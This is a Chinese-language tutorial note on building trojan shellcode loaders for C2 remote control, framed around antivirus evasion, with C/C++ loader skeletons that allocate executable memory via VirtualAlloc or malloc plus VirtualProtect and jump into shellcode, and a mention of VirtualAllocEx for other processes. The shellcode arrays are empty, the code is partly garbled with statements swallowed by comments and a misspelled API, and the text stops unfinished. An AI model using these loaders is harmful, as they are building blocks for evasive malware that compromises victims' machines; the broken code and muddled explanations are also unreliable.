木马加载器通用套路
加载器
木马有两种类型,第一种是自己写的木马,作为远控客户端,第二种是加载器
加载器就是把C2的shellcode加载到目标机器的过程。目前攻防场景下,主流手段是通过加载器的方式实现远控
既然是加载器,那就必然存在编写的套路
- 对shellcode进行转换处理(以混淆、加密、编码、分离的方式绕过杀软检测)
- 分配可执行内存,将转换后的shellcode写入内存
- 执行内存中的shellcode
目前几乎所有免杀技巧都围绕这三个步骤进行对抗
内存申请函数:
VirtualAlloc+VirtualProtect
malloc+VirtualProtect
HeapCreat
内存申请函数
VirtualAlloc
windows操作系统中的一个函数
在当前进程的虚拟地址分配内存,适用于需要在运行时分配内存的情况
#include<Windows.h>
#include<stdio.h>
using namespace std;
int main(int argc, char** argv){unsigned char ShellCode[] = ""; //shellcodevoid* exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//从0分配内存地址,占用大小为Shellcode的大小,为指定的保留内存页分配内存费用,属性可读可写可执行memcpy(exec, ShellCode, sizeof ShellCode);//指向exec这个数组,复制shellcode进去,字节数量为shellcode的大小((void(*)())exec)();return 0;
}
VirtualAllocEx
VirtualAlloc和VirtualAllocEx的区别
都是windows操作系统中内存分配函数,在使用场景和功能上有一些不同
VirtualAlloc:
适用于在当前进程的虚拟地址空间中分配内存。它是一个进程内存分配函数,适用于动态分配内存块,供当前进程使用,可通过设置内存保护属性来指定分配内存的权限,如可读、可写等。
LPVOID pMemory = VirtualAlloc(NULL, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
VirtualAllocEx:
用于在其他进程的虚拟地址中分配内存。它是一个进程内存分配函数,用于动态分配内存块,供当前进程使用,可通过设置内存保护属性来指定分配内存的权限,如可读、可写等。
LPVOID pRemotMemory = VirtualAllocEc(hProcess, NULL, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
malloc 使用
申请堆内存
#include <Windows.h>int main() { unsigned char shellcode[] = { }; void*pMemory = malloc(sizeof(shellcode))//使用malloc分配内存if (pMemory != NULL){// 将shellcode复制到分配的内存中memcpy(pMemory, shellcode,sizeof(shellcode));//将内存标记为可执行DWORD oldProtect;VirtualProtect(pMemory, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect)//执行shellcode((void(*)())pMemory)();//释放内存free(pMemory);}return 0;
}
HeapAlloc
注入执行
(这里先欠着,明天补)